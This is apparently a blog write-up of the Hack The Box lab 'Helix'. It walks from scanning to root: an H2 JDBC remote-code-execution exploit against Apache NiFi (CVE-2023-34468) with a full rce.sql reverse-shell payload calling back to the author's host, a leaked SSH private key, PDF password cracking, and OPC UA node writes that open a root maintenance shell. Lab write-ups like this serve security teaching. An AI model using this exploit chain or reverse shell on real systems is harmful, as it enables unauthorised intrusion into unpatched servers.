Skip to main content
HTB: Helix
  1. Posts/

HTB: Helix

Table of Contents

Introduction
#

Helix starts with a public Apache NiFi instance behind a subdomain, wide open to anonymous access with write permissions to boot. That’s an easy CVE-2023-34468 RCE via a malicious H2 JDBC connection, landing a shell as nifi. From there, a leftover SSH key in the NiFi support bundles hands over the operator account. Root is the fun part: a maintenance console script only opens a root shell if an OPC UA-controlled “maintenance window” is active, so it’s a matter of cracking a password-protected PDF for context, then talking to the OPC UA server on localhost to flip the right nodes and trick the system into thinking it needs maintenance.

nmap
#

nmap finds two open TCP ports, SSH (22) and HTTP (80):

sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.245.123
  • -sC for defaults scripts
  • -sV enumerate version
  • -vv double verbose
  • -oA output in all formats
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 60:b3:f7:6c:0b:92:ab:00:ac:e7:12:e1:d1:26:9c:1e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPTJ+LkpmuH2sQS9dhqnvmpl1NhudGQHvIxfw5Qrhj2MEU4J7VXSPAt/OPas+zeYGU8XOWgNtfnJjHEYe3XsLII=
|   256 c8:30:e6:cb:c6:cd:fc:0c:39:e5:34:04:20:07:b9:b3 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGYnLTVO7QjbF2nWYA4R9O3DaSGllmNuBdWKKZyZxMZS
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://helix.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add helix.htb to /etc/hosts

Web
#

As usual there is nice looking semi-working website

Web

But aside from two forms that do not send anything to the backend there isn’t anything interesting on the main page.

Web2
Web3

So the next step - subdomains.

Subdomain
#

└─$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://helix.htb/ -H 'Host: FUZZ.helix.htb' -fs 154

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://helix.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Header           : Host: FUZZ.helix.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 154
________________________________________________

flow                    [Status: 200, Size: 1068, Words: 110, Lines: 28, Duration: 1145ms]
:: Progress: [220561/220561] :: Job [1/1] :: 378 req/sec :: Duration: [0:09:34] :: Errors: 0 ::

A discovered subdomain - flow.helix.htb - add to /etc/hosts and check what is there:

flow

Browsing to the subdomain redirects to flow.helix.htb/nifi and shows an Apache NiFi instance.

Apache NiFi
#

The NiFi dashboard was accessible without authentication and the anonymous user had write permissions enabled.

The About section shows it runs version 1.21.0

flow

CVE-2023-34468
#

Googling for known vulnerabilities leads to CVE-2023-34468

The DBCPConnectionPool and HikariCPConnectionPool Controller Services in Apache NiFi 0.0.2 through 1.21.0 allow an authenticated and authorized user to configure a Database URL with the H2 driver that enables custom code execution. The resolution validates the Database URL and rejects H2 JDBC locations. You are recommended to upgrade to version 1.22.0 or later which fixes this issue.

To abuse this vulnerability requires only to have authenticated and authorized user, and I do have that.

There is a nice PoC with step by step guide.

First, I need to add a new controller service:

cs

With these properties:

prop
jdbc:h2:mem:tempdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http\://10.10.15.89\:4444/rce.sql'

org.h2.Driver

work/nar/extensions/nifi-poi-nar-1.21.0.nar-unpacked/NAR-INF/bundled-dependencies/h2-2.1.214.jar

Next, add a processor:

proc

with this settings:

proc
RUNSCRIPT FROM 'HTTP://10.10.15.89:8081/rce.sql'

Add Output Port

op

Start a http server with hosted reverse shell:

└─$ cat rce.sql                
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        String[] command = {"bash", "-c", cmd};
        java.util.Scanner s = new
java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('python3 -c "import socket,subprocess,os;s=socket.socket();s.connect((\"10.10.15.89\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])"');
└─$ python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.129.245.123 - - [06/Aug/2026 05:34:26] "GET /rce.sql HTTP/1.1" 200 -
10.129.245.123 - - [06/Aug/2026 05:34:27] "GET /rce.sql HTTP/1.1" 200 -
10.129.245.123 - - [06/Aug/2026 05:34:28] "GET /rce.sql HTTP/1.1" 200 -
10.129.245.123 - - [06/Aug/2026 05:34:28] "GET /rce.sql HTTP/1.1" 200 -

And run it. Almost immediately I get a hit on the listener:

└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.15.89] from (UNKNOWN) [10.129.245.123] 44446
bash: cannot set terminal process group (975): Inappropriate ioctl for device
bash: no job control in this shell
nifi@helix:/opt/nifi-1.21.0$ id
id
uid=998(nifi) gid=998(nifi) groups=998(nifi)
nifi@helix:/opt/nifi-1.21.0$ 

As a side note, I tried the exploit several times before I got it working, and I was thwarted by cache of sorts for some time. CREATE ALIAS was failing because the alias already existed from previous attempts.

The in-memory H2 DB (mem:testdb) persists as long as the connection pool keeps at least one connection open. Each new INIT script execution hits the CREATE ALIAS SHELLEXEC again, H2 throws an “alias already exists” error, the script aborts, and CALL SHELLEXEC(...) is never reached.

I got the rce.sql fetch but no execution.

To fix that I simply needed to add DROP ALIAS IF EXISTS SHELLEXEC; at the top:

└─$ cat rce.sql                
DROP ALIAS IF EXISTS SHELLEXEC;
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        String[] command = {"bash", "-c", cmd};
        java.util.Scanner s = new
java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('python3 -c "import socket,subprocess,os;s=socket.socket();s.connect((\"10.10.15.89\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])"');

Shell as Operator
#

After getting the shell as nifi I comb through the nifi installation and discover a SSH private key:

nifi@helix:/opt/nifi-1.21.0/support-bundles$ cat operator_id_ed25519.bak
cat operator_id_ed25519.bak
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOwAAAJhCUmdYQlJn
WAAAAAtzc2gtZWQyNTUxOQAAACDouEevtXQL5puMEPQzMGEo/LSrbETsWVDH8B41VHNbOw
AAAEBWd4qZPQ48ePEdHec/Fquwu8Apm+TkeJJTwODupeRtwui4R6+1dAvmm4wQ9DMwYSj8
tKtsROxZUMfwHjVUc1s7AAAAD3Jvb3RAbWFuYWdlbWVudAECAwQFBg==
-----END OPENSSH PRIVATE KEY-----

With that I can re-connect and get more stable environment.

There is an operator user I can try:

nifi@helix:/opt/nifi-1.21.0/support-bundles$ ls /home
ls /home
operator

And it worked:

└─$ nano id_rsa 
└─$ chmod 600 id_rsa 
└─$ ssh -i id_rsa operator@10.129.245.123
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-164-generic x86_64)

<SNIP>

Last login: Thu Aug 6 09:47:45 2026 from 10.10.15.89
operator@helix:~$ 

I can grab user flag and move to root:

operator@helix:~$ ls
'control systems diagram.png'  'Operator Control & Safety Guide.pdf'   user.txt
operator@helix:~$ cat user.txt 
0017e13900bdb4a4e0317033719f5cff

Root
#

Starting with classic sudo -l I get one hit:

operator@helix:~$ sudo -l
Matching Defaults entries for operator on helix:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User operator may run the following commands on helix:
    (root) NOPASSWD: /usr/local/sbin/helix-maint-console

I tried to run it, but got only this:

operator@helix:~$ sudo /usr/local/sbin/helix-maint-console
Maintenance window CLOSED.

Looking at what it does:

operator@helix:~$ cat /usr/local/sbin/helix-maint-console
#!/bin/bash
set -euo pipefail

FLAG="/opt/helix/state/maintenance_window"

read_until() { cat "$FLAG" 2>/dev/null || true; }

window_ok() {
  [ -f "$FLAG" ] || return 1
  local until_ts now
  until_ts="$(read_until)"
  now="$(date +%s)"
  [[ "$until_ts" =~ ^[0-9]+$ ]] || return 1
  [ "$now" -lt "$until_ts" ] || return 1
  return 0
}

if ! window_ok; then
  echo "Maintenance window CLOSED."
  exit 1
fi

until_ts="$(read_until)"
now="$(date +%s)"
remaining=$((until_ts-now))

echo "[+] Privileged maintenance access granted"
echo "[!] Window expires in ${remaining} seconds"
echo "[!] Session will be terminated automatically"

# Unique scope name
SCOPE="helix-maint-$$"

# Launch an interactive root shell attached to THIS TTY, in its own systemd scope
systemd-run --quiet --scope --unit="$SCOPE" --property=KillMode=control-group --property=SendSIGHUP=yes \
  /bin/bash -p -i

# If systemd-run returns, the shell exited.
exit 0

It’s a time-gated privileged shell, essentially a sudo-replacement that only works during an active “maintenance window”.

How it works:

  1. It reads a Unix timestamp from /opt/helix/state/maintenance_window. If the file doesn’t exist, or the timestamp is in the past, it prints Maintenance window CLOSED. and exits. No shell.
  2. If the window is open it launches /bin/bash -p -i via systemd-run --scope. The -p flag is the key part: it tells bash to run in privileged mode, preserving the effective UID (root) rather than dropping it. So I get a full interactive root shell.
  3. The systemd scope wraps the shell in its own cgroup scope named helix-maint-<PID>. With KillMode=control-group and SendSIGHUP=yes, when the scope ends, everything in that cgroup gets killed, basicly automatic session termination.

The obvious question is: Can I write to /opt/helix/state/maintenance_window?

Check it:

operator@helix:~$ ls -la /opt/helix/state/
ls: cannot access '/opt/helix/state/': Permission denied
operator@helix:~$ ls -la /opt/helix/
ls: cannot open directory '/opt/helix/': Permission denied
operator@helix:~$ ls -la /opt/
total 16
drwxr-xr-x  4 root root     4096 Jan 25  2026 .
drwxr-xr-x 19 root root     4096 May  5 10:17 ..
drwxr-x---  9 root helixsvc 4096 May  5 10:18 helix
drwxrwxr-x 16 nifi nifi     4096 May  5 10:18 nifi-1.21.0

Unfortunately, it will not be that easy.

Checking what runs on the machine there are few interesting finds:

operator@helix:~$ ss -tuln
Netid       State        Recv-Q       Send-Q                  Local Address:Port              Peer Address:Port      Process       
udp         UNCONN       0            0                       127.0.0.53%lo:53                     0.0.0.0:*                       
udp         UNCONN       0            0                             0.0.0.0:68                     0.0.0.0:*                       
tcp         LISTEN       0            50                          127.0.0.1:44897                  0.0.0.0:*                       
tcp         LISTEN       0            128                         127.0.0.1:8081                   0.0.0.0:*                       
tcp         LISTEN       0            50                          127.0.0.1:8080                   0.0.0.0:*                       
tcp         LISTEN       0            4096                    127.0.0.53%lo:53                     0.0.0.0:*                       
tcp         LISTEN       0            128                           0.0.0.0:22                     0.0.0.0:*                       
tcp         LISTEN       0            511                           0.0.0.0:80                     0.0.0.0:*                       
tcp         LISTEN       0            100                         127.0.0.1:4840                   0.0.0.0:*                       
tcp         LISTEN       0            128                              [::]:22                        [::]:*                       
tcp         LISTEN       0            50                 [::ffff:127.0.0.1]:39601                        *:*                       

Several internal-only services listening on localhost, including an OPC UA server running on port 4840.

OPC UA is used in industrial control and automation environments. This service could be responsible for controlling the maintenance window.

That would suggest the files in the operator's folder are not that useless :)

operator@helix:~$ ls
'control systems diagram.png'  'Operator Control & Safety Guide.pdf'   user.txt

Download the files and see what they are:

└─$ scp -i id_rsa operator@10.129.245.123:/home/operator/'control systems diagram.png' ./
└─$ scp -i id_rsa operator@10.129.245.123:/home/operator/'Operator Control & Safety Guide.pdf' ./
png

The pdf is password protected. Crack it with john:

└─$ pdf2john Operator\ Control\ \&\ Safety\ Guide.pdf > pdf.hash
└─$ john pdf.hash --wordlist=~/Tools/rockyou.txt

└─$ john pdf.hash --show                        
Operator Control & Safety Guide.pdf:operator1

1 password hash cracked, 0 left

It was a boring read:

pdf1
pdf2
pdf3
pdf4

But I get some information about crucial areas:

  • CalibrationOffset
  • Mode
  • TestOverride
  • Maintenance Window

Forward the port 4840 and check what I can do with it:

└─$ ssh -L 4840:127.0.0.1:4840 -i id_rsa operator@10.129.245.123 

First I wanted to enumerate everything:

import asyncio
from asyncua import Client

async def browse(node, indent=0): 
	try:
		children = await node.get_children()
		for child in children:
			name = await child.read_browse_name()
			try:
				val = await child.read_value()
				print(f"{' '*indent}{name.Name} = {val}")
			except:
				print(f"{' '*indent}{name.Name}/")
			await browse(child, indent+1)
	except:
		pass
async def main(): 
	async with Client("opc.tcp://127.0.0.1:4840") as c:
		await browse(c.nodes.root)

asyncio.run(main())

There was tons of useless information I did not need in the end, but the script is nice. What I actually needed was just a few values buried there to open the maintenance window:

import asyncio
from asyncua import Client

async def main():
    async with Client(url="opc.tcp://127.0.0.1:4840/helix/") as c:
        mode = c.get_node("ns=2;i=12")
        override = c.get_node("ns=2;i=13")
        calib = c.get_node("ns=2;i=6")
        await override.write_value(True)
        await mode.write_value("MAINTENANCE")
        await asyncio.sleep(2)
        await calib.write_value(10.0)
        await asyncio.sleep(3)
        await calib.write_value(15.0)

asyncio.run(main())

With this, the system should feel compromised and the maintenance should be required …. and the maintenance window opened.

So, now just rerun the sudo /usr/local/sbin/helix-maint-console and hope for the window to be open and I should get root:

operator@helix:~$ sudo /usr/local/sbin/helix-maint-console
[+] Privileged maintenance access granted
[!] Window expires in 106 seconds
[!] Session will be terminated automatically
root@helix:/home/operator# id
uid=0(root) gid=0(root) groups=0(root)
root@helix:/home/operator# cat /root/root.txt
97acac98f707cdfbb30aa918cb4793f8
root@helix:/home/operator# 

It worked and I just need to grab the root flag.

Author
~